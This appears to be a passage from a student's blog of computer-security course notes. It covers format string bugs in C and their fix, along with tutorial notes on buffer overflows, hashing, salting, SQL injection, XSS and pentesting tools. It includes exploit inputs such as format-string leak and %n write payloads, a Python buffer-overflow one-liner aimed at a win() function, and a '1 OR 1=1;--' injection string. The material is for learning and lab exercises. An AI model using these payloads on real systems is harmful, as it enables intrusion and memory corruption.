That’s essentially what happened in our eariler example; the program tries to execute printf(name), but name is “%d”, so the program is executing printf("%d"), and printed off the next variable on the stack as an int (in our case, 1819043144, though the exact number will be different for you).

And we’re not limited to printing out in int format; we can print out accoring to any format-specifier we want.

$ ./vulnerable_program # printing as int What is your name? %d Hello 1819043144! Nice to meet you $ ./vulnerable_program # printing as double What is your name? %f Hello 1819043144! Nice to meet you $ ./vulnerable_program # printing as char What is your name? %f Hello H! Nice to meet you $ ./vulnerable_program # printing in hexadecimal What is your name? %x Hello 6c6c6548! Nice to meet you $

This (particularly in the case of %x) can be dangerous as it reveals what variables are currently on the stack and give an attacker information about the memory layout of the program (which can be useful for other memory-based attacks).

Another interesting case is %s, the format-specifier for strings; since C assumes %s is an array of chars terminated by a null byte, it will just keep printing out variables from the stack as chars until it reaches a null byte (and going beyond the stack if it doesn’t find a null-byte in there).

On my machine, %s doesn’t seem to print anything interesting; it just crashes the program (though that might be a useful attack in and of itself):

$ ./vulnerable_program # (attempting to) print as string What is your name? %s Segmentation fault (core dumped) $

I encourage you to try and compile this program on your own machine and see what results you get.

So, how can one protect themselves against such an attack? Easy; just never use printf() with the only argument being a variable (e.g. printf(name)). Changing the line in the original code from:

printf(name);

to

printf("%s", name);

Is enough to solve the problem:

$ ./vulnerable_program # now behaves as expected What is your name? %d Hello %d! Nice to meet you $

since printf() now knows to escape the ’%’ character and print it literally, instead of interpreting it as a format-specifier.

Additionally, any decent compiler should give you a warning if you use printf() in a dangerous way. Standard gcc gives me:

$ gcc vulnerable_program.c -o vulnerable_program vulnerable_program.c: In function ‘main’: vulnerable_program.c:21:12: warning: format not a string literal and no format arguments [-Wformat-security] printf(name); ^~~~ $

Besides, most programmers would probably write it on 1 line anyways, like so:

printf("Hello %s! Nice to meet you\n", name);

[fail-unsafe]

Week 7 Tutorial Notes

My COMP6841 notes for my Week 7 tutorial:

COMP6447 is a lot of reverse engineering; very interesting

input = read(stdin); printf("%s\n", input); // this is not vulnerable to format string vulnerability printf(input); // this IS vulnerable, since it interprets it as a format-string

%x = hexadecimal

When you call printf("%s\n", var), stack looks like:

top of stack |       | | | | | |"%s\n" | |var | bottom of stack

What happens if i just do printf("%s\n")? It will still try to pop the stack (i.e. print the next thing on the stack)

What if i do: printf("%s\n") printf("%s\n")

or printf("%2$x\n")? // 2nd thing on stack or printf("%3$x\n")? // 3rd thing on stack

printf("abcd%n\n")  // how many bytes have been printed so far // stores #bytes printed so far on stack

printf("abcd%n\n", &var)    // stores #bytes printed so far in var

or printf("abcd%2$n\n")?    // stores #bytes on the 2nd thing on stack or printf("abcd%3$n\n")?    // stores #bytes on the 3rd thing on stack So we can store $n (which the user determines through their input) on the stack // requires hacker to know the return address

python -c "print('A'*64 + '\x06\x85\x04\x08')" | ./whoami                     ^             ^            size of buffer      address of function pointer

in gdb: disass func_name = look at assembly

x/100i <address of where you want to see> looks at first 100 instructions from <address of where you want to see>

6443 6445 6447

9337 = not by richard, not same course

75 is size of buffer

disass main disass vuln disass win = gives you first address of win function

python -c 'print('A'*4664 + <address of win()>)' | ./prog

might need to minus 1 (or minus 4, or something) from buffer size (due to null byte, or depending on what function is called)

[fail-unsafe]

Week 6 Tutorial Notes

My notes for my COMP6841 Week 6 tutorial:

### How to determine length of key of vignere cipher: ###

d a b c d a b c d      a b c d p l a i n t e x t .... t e x t

same words (e.g. "text") will have the same encoding (e.g. "abcd")

The length between those repeated words will be some multiple of the length of the key

The lowest common multiple of all of the differences is, thus, the length of the key

### End ###

### Buffer overflows ### Smashing the Stack for Fun and Profit ### End ###

Case study: Israel is, like, the best at cyberwar.

Social engineering: - elections - foreign products (e.g. Huawei, Kapersky, spyware)

Take down emergency lines (all ISPs run calls over internet) Take down critical infrastructure (e.g. internet, hospitals, GPS, power, banks, deny ATM access (who carries cash nowadays?), traffic lights) OR make the traffic lights all turn green or something messed up

Hack national secrets (traditional spies)

EMP (electromagnetic pulse) bomb; taking infrastructure down without killing

Go after allies as well (e.g. US)

Assistance and Access bill has already been used 5 times since November Technical Assistance Request Technical Assistance Notice Technical Capability Notice

Snowden book 5 eyes alliance

Fingerprint not protected under Australian law

[fail-unsafe]

Week 5 Tutorial Notes

My notes for my COMP6841 tutorial:

8 billion = 2^33 365 = 2^8.5

To calculate bits of security from a number N: log(N) / log(2)

Researchers in the US say if they know a person's: - color of car - first name - zip code Can identify the particular person with 99% accuracy.

A lot of photos store metadata about time taken, longitude, latitude, etc. That's 1 way you can tell if a photo has been doctored/edited; since the metadata may be stuffed up

All multiple choice; no negative marking

RSA is very slow. So we produce a hash of the document, then RSA THAT.

If MD5 is 128 bits, then there are 2^64 permutations you can try before you get a hash collision.

pre-image attack: hash -> plain-text

2nd pre-image attack: Hash & plain text -> 2nd plain text; e.g. will published, hash published, take that document, tweak the bits in it, and see how the hashes change

A lot of software companies publish multiple hashes of their product (e.g. md5, sha2, sha3), so that paranoid users can verify multiple hashes for the product (just in case there's a collision for 1 hash, provide all 3. What are the odds of there being a hash collision for all 3 different types of hash?).

For mid-sem exam research: - length extension attack - HMAC

About 7% of modern day still uses WEP. Modern protocol is WPA2 (WPA3 released, but minimal/no hardware support for it yet)

Example of man-in-the-middle is length-extension attack on MAC. Now I got my (own) plain text and my (own) hash of it, I send both to Bob, and they both seem legit to him.

HMAC is h(k2 * h(k1 * p)) MAC = h(k | p)

Data & control: What happens when you mix data & control? SQL injection example: Select * from users where username = login_form.uname & password = login_form.pw

make login_form.pw = `1 OR 1=1;--` so above command becomes: Select * from users where username = login_form.uname & password = 1 OR 1=1;--

Solution: Use escape characters to avoid SQL interpreting, say, ' , as part of the command

Possible exam-style questions: define difference between authentication and authorisation how does HMAC ensure integrity

Guest lectures aren't assessable

RSA question quite possible (though you probably dont need to know the details of its implementation)!

[fail-unsafe]

Week 4 Tutorial Notes

Notes from my COMP6841 Week 4 tutorial:

Tips: - CTFs - Hackerbox

Tools in Kali Linux: - nmap: Port scanner (find open ports on other devices) - burp suite: Intercept network packets/traffic (useful for XSS) - metasploit: collection of exploits for old software/OSs

XSS is when you inject scripts into a browser (e.g. in a YouTube comment, put a script tag in your comment). It's like the Javascript version of SQL injection attacks

FoxyProxy allows you to bounce between different proxies without manually changing them.

2 main uses of hashes: - fingerprinting - passwords

`md5sum <filename>` is a built-in Linux command

Problem with just hashes: If you got a rainbow table, you can just hash all known passwords and see if they match the hashes in the database. Solution: Salting; append a string (unique to each user) to their password, THEN hash that. i.e. H(password + salt) and store the salt for each user in the database next to the hash. E.g.

Usernames | Hash | Salt ...    | ... | ...

HMAC: H(plaintext | password) Send only the hash and the plaintext

Exercise: Look up length-extension attack on a HMAC

1 million plaintext passwords Takes 12 bits of work to hash any of them 50% of passwords are weak 500 hashed passwords in our database

H("password") = 12 bits H("123456") = 12 bits

1million * 12bits 1million has 20 bits in it. Thus, 2^20 * 2^12 = 2^32

12-50 bits/work per second on a computer is realistic

Tips for cracking cryptogram: - If it ends with `'_`, _ is probably a `s` or `t` (`t` for short words )

[fail-unsafe]

Pentesting Presentation

My notes on the Pentesting group presentation:

Pentesting: Authorised simulated attack on a computer system to evaluate risks and assess the overall strength of the system

Repercussions of attack: - Ransomware - IP theft - Steal user data

Certifications for professional pentesters: - OSCP

pentesting tools: - metasploit - searchsploit - burp - wireshark - kali: linux distro with a bunch of hacking tools - nmap: open-source network scanner; can find what ports are open on remote machine - gobuster: Used to brute-force URIs in websites and DNS subdomains

CTF websites: - pwnable - hackthebox - root-me - overthewire

ARM-spoofing

port 91 on a printer; nmap used on it can make the printers go wild

[fail-unsafe]

Cryptocurrency Presentation

My notes on the cryptocurrency presentation:

Point of crypto is to eliminate middle-man (send it straight to recipient)

Blockchain uses public & private key pairing; more anonymous than normal bank transactions (but still ways to infer identities, such as where you upload from)

Biitcoin (used to) recognises longest chain as legitimate chain. (but this can lead to 51% attack).

Verge currency attack 2018; exploited implementation-flaw in Scrypt hashing Mt.Gox handled over 70% of Bitcoin transactions in 2013 (account details revealed in SQL-injection attack)

Bitcoin itself is secure, but software that uses it (e.g. cryptocurrency wallets can be hacked and your private key stolen)